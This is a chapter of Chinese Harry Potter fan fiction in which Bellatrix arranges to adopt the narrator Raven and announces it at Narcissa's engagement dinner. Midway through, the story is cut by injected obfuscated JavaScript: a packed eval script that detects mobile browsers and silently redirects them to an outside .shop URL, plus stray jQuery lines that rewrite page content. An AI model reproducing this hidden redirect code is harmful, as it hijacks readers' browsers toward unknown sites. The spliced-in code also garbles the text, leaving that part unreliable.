我没有回答，德鲁埃拉又问了一遍。
“知道了——”我说。声音拉得很长，十分不满与十分敷衍混合在一起，却叫这位老太太笑起来。她好像觉得我这幅样子很可爱，拉着贝拉的手，说道：“你看，瑞文这个皮猴也害羞了。”
我悄悄翻了一个白眼，她们又笑起来。
接着，贝拉叫我出去找雷古勒斯或者西里斯去玩，她要和母亲单独说会话。我收拾了裙子上散落的橘子筋络，站起身，离开这个小房间。房门虚掩着，我站在门口，偷偷看向里面。
贝拉脸上的笑容消失了。
“妈妈。”她说，“我想收养瑞文——正式的，让她在族谱上变成我的孩子。”
德鲁埃拉太太面色不变，她的小指轻轻弹跳一下，一双养尊处优的手盖在女儿的手上。典雅古朴的房间四面悬挂有绿色绸缎，缎面上是深色缠枝花纹，四支座式蜡烛台摆放在墙壁周围，火光跳跃，将绸缎上刺绣的那些花朵照得波光粼粼。
“你还年轻，会有孩子的。”德鲁埃拉太太说。她神色平淡，像是在说一间稀松平常的事情。“贝拉，我嫁给你爸爸的时候，所有人都在等我生下布莱克家的长子。”
“但是你没有——”贝拉忽然说。她神情里有着一股叫人害怕的恼怒，“我知道，我知道，妈妈，你在怪我、怪安多米达、怪纳西莎。”
“我没有。”德鲁埃拉太太说，“我有三个女儿，如今纳西莎也快要出嫁了，我还有什么不满足呢？”
“你过去不是这样的。”贝拉愤愤，“在我小时候——奶奶还在的时候，你可不是现在这样。妈妈！我和你现在一样，我需要一个孩子，瑞文很好，妈妈，她就应该是我的孩子！”
我知道贝拉在说什么，我刚认识她的时候，那一会布莱克老夫人还没有去世，她极为疼爱西里斯，整个家里，除了贝拉，几乎没有人能够从老夫人手底下把西里斯拽出来教训。而贝拉和沃尔布加也时常因为一些生活中的琐事爆发矛盾。
直到老布莱克太太去世，贝拉与沃尔布加之间像是达成某种诡异的平衡。
“你太心急了。”德鲁埃拉继续劝道：“瑞文年纪还小，心性不定。”
“不。”贝拉说，“等她长大了，她就不会是我的孩子了。”
“你总归是收养过她。”
“妈妈！你真的不懂得我在说什么吗？”贝拉特里克斯忽然挣脱德鲁埃拉一直拉着她的手，她一掌拍在桌子上，声音叫德鲁埃拉脸上浮现出讪讪的表情。
德鲁埃拉太太在贝拉面前一贯是软弱的。
“爸爸为我、纳西莎还有安多米达——您不用打断我，我知道您和爸爸给了她一大笔钱作为嫁妆。你们这样几乎搬空财产地给我们三个筹备婚礼、增添财物，难道真的是因为如此不顾后果的疼爱我们吗？”
她说着，一双眼睛死死盯着母亲。德鲁埃拉避开她的眼神，却无法避开她的话语：“因为你没有儿子，而叔叔有。你和爸爸死掉了，所有财产都是叔叔那一脉的了。”
贝拉说着，慢慢地，声音里也带着咬牙切齿地味道：“妈妈，现在我也是这样啊！你把我们都嫁出去了，我现在也是这样啊！罗道夫斯和我没有孩子，而拉布斯坦却还没有结婚，妈妈，如果拉布斯坦结婚了，有了孩子，难道您能眼睁睁地看着我和罗道夫斯的财产——看着您和爸爸给我的嫁妆以后都填给拉布斯坦的孩子吗？”
房间里，母女二人的眼皮皆在颤动，一丝光亮从二人眼底跃出。飞鸟——一只巨大的肥硕的鸟从窗外扑棱一生飞过，阴影叫室内烛火一动，角落里的银水盆亦泛起波纹。
“妈妈。”贝拉恳切地说，“我和罗道夫斯商量好了，反正瑞文的父母都去世了，普林斯家也没有了。她就算日后想要认亲——就当我看走眼了，妈妈，这些日后的事情，最坏的打算我都愿意认下。我只是......而且，妈妈——”
她凑到德鲁埃拉耳边，轻声说了什么。我无法听见，之间德鲁埃拉神色一变。
“这怎么可能？”她说。
“我只是这样猜测，但是，这不正好说明，瑞文天生就应该是我的孩子吗？”贝拉说着说着，脸上竟然浮现出异样的光彩，“她魔力暴动了，却在我和罗道夫斯面前冷静下来，这不正是表明她爱我们，她天生就应该从我的肚皮里出现，只是普林斯家把她偷走了。”
“贝拉，你冷静一下。”德鲁埃拉道，“如果当初真是这种情况——”
“妈妈！”贝拉特里克斯再次打断母亲的话，这一次，她压低声音，“不要让我后悔告诉你。”
母亲愣住，之后又变回之前软弱的模样，她垂下眼，默默看着放在膝盖上的双手。贝拉继续说：“反正我和罗道夫斯已经同意了，我们会让她改姓莱斯特兰奇，以后叫她找个心意的小伙子，入赘进来。布莱克家的族谱，劳烦你和父亲将她的名字加上去了。”
我眨着眼睛，这时，有人拍了一下我的后背，居然是西里斯。
这人今天穿着即为可笑的花领衬衫，黑色紧身裤把他双腿勒得像两支细木棍。他见我转过身，用胳膊肘捣了一下我的手臂，指着我身上的裙子露出嘲笑的表情。
“天哪，你今天像个南瓜。”他噗嗤噗嗤地笑着，“来呀，咱们去跳舞吧，如果妈妈等会看不见我，准会发脾气。”
“反正贝拉又不会朝我发脾气。”我说，“而且，我们还没到跳舞的年纪呢。你准是想去捉弄卢修斯·马尔福。我告诉你，纳西莎是贝拉的妹妹，我才不会帮你捉弄她的未婚夫呢！”
西里斯被我绕了好大一个弯的人际关系弄得愣了一下，他说：“过去对付罗道夫斯的时候你可不是这么说的。”
“今时不同往日，西里斯，现在我是一个淑女。好了，你快去骑扫帚撞马尔福吧，我会拉住贝拉叫她不去打你的。”
西里斯在我这里没有得到想要的回应，他耸了耸肩膀，觉得十分无聊。他说：“就算这样，妈妈也不会喜欢你的。她就是这样的人，如果有人叫她一时生了厌恶，她就会恨那个人一辈子。”
“我当然知道，我又不是奥赖恩先生，为什么要她喜欢？”
西里斯朝我做了一个鬼脸，跑开了。
布莱克家的这场订婚宴出乎意料的低调，到场的只有布莱克家及姻亲和马尔福家几人。其中，马尔福家尤其少，只来了卢修斯·马尔福一个。
据说老马尔福先生卧病在床已久，估计时日无多了。
罗道夫斯在这方面和马尔福一定有很多共同话题，因为据说他爸爸死得也不利索，折腾了好几年才去世。反观我——老普林斯先生的痛苦估计只有数秒。
晚餐时，窗外开始下雨，狂风大作，将雨珠吹向一边，雨水像小瀑布般顺着窗户流下，屋外的树冠开始摇动，以笨拙的方式与风进行对抗。
我们坐在长桌上，贝拉和罗道夫斯应该已做打算，德鲁埃拉太太和西格纳斯
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17734096|205528||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
先生有些心神不宁。两人频频望着另一对布莱克夫妇，脸上竟然挂着紧张和预备着战斗的神色。
在西格纳斯先生宣布马尔福家的卢修斯和布莱克家的纳西莎正式订婚之后，紧接着，他看向奥赖恩和沃尔布加的方向，眼睛快速眨动两下，德鲁埃拉太太则有些愧疚地看向纳西莎。
西格纳斯先生说：“我们与莱斯特兰奇家经过商定，确定了另一件事。我们决定把普林斯家的瑞文正式过继到我的女儿贝拉特里克斯名下，作为她与罗道夫斯的后代。莱斯特兰奇已经准备更改族谱，布莱克家的族谱也要进行更改。”
“什么？”沃尔布加几乎是立刻叫出声，她看向我，眼皮乱颤，“瑞文的精神状态先不说——当初——”
“沃尔布加！”贝拉沉下脸，“这是我们莱斯特兰奇家的事情，而且，就算瑞文也会被绣在布莱克家的族谱上，也是绣在我——绣在爸爸和妈妈名字底下，和你有什么关系？”
“我不同意！”她说，“当初普林斯家就突然带了这个孩子出现——那时候老普林斯都多大年纪了，压根不可能——不可能生——”
“沃尔布加！”贝拉几乎大叫着打断她。她重重拍了一下桌子，刀叉在桌面上叮当作响。卢修斯和纳西莎两人脸色也有些黑了，纳西莎瞪大眼睛，几乎不可置信地看向自己的父母。而德鲁埃拉和西格纳斯则移开视线，不愿意去看她。
“瑞文是普林斯的孩子，也是我的孩子，我已经收养她了。难道你连莱斯特兰奇家的主也要做了吗？”紧接着，她死死盯着沃尔布加这位婶母，突然轻笑一声，“我爸爸已经同意了，叔叔，你怎么说？”
奥赖恩忽然被点名，也吓了一跳。他一贯不参与女士们的战争，如今被迫和贝拉对上视线，赶紧扯出一个笑容，“贝拉，不要和你婶婶......”
西格纳斯先生忽然咳嗽一声。“奥赖恩，我知道你们的顾虑。但是，在修改族谱之后，瑞文就是莱斯特兰奇的孩子。”
“她不是！”沃尔布加说，“她很有可能根本不是——”
“婶婶。”贝拉说，“我知道你在想什么。”
“我和那个女人谈过，那个人可没有必要骗我。”
桌子上几乎所有人的脸色都有所改变，只有卢修斯、西里斯和雷古勒斯蒙在鼓里。
罗道夫斯看了我一眼，他叹气：“沃尔布加太太，我知道您在担心什么，我们莱斯特兰奇家和您这边一样拥护纯血。再说，百年之后，我们都去世了，谁还在乎哪个孩子是不是我们亲生的呢？”说到这里，他忽然笑了一声，“唉，说不定以后还有人会觉得我和贝拉那么年轻就生了孩子呢。”
“而且，瑞文和我们相处得也好，早就将我们看做亲生父母了。是不是，瑞文？”他转头看向我。
我点了点头。
德鲁埃拉也劝：“瑞文是我们看着从小长大的，沃尔布加，你以前也是十分疼爱这个孩子的，不要叫她被吓到了。以后瑞文长大了，和西里斯、雷古勒斯一起，兄弟姐妹三个也能互相照应，布莱克和莱斯特兰奇家互相扶持，总归没有坏处......对了，卢修斯，以后你和纳西莎有了孩子，到时候晚辈们在一起，日子才能越过越好，对不对？卢修斯、纳西莎？”
纳西莎完全沉默着坐在座位上，卢修斯·马尔福盯着德鲁埃拉夫妇和贝拉夫妇看了一会，也露出微笑：“是这样的，日后我和纳西莎的孩子，还等着瑞文带他们一起玩呢。”